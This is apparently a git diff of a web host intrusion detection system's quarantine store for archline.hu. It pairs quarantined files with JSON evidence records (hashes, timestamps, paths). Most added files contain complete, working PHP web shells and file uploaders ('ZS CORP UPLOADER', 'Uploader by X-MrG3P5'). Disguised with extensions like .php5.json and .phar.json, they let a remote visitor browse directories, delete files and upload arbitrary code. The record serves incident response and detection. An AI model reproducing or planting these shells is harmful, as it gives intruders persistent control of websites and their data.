";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..e6df2ce --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3026", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925442, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..1ac34bd --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3012", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925448, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..85ffc66 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3022", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..cc93ee1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3032", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925407, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..82fb2cf --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3030", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925375, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..c41b1b7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3016", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925384, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..1d61fb1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3034", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925390, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..6a2c157 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3025", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925396, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..59fa3b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3014", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925401, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json new file mode 100644 index 0000000..a0d1e65 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2991", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/up_5e4xf5.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812980, + "size": 448, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/up_5e4xf5.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json new file mode 100644 index 0000000..8c3973e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2969", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/up_p5n63o.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812878, + "size": 448, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/up_p5n63o.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json 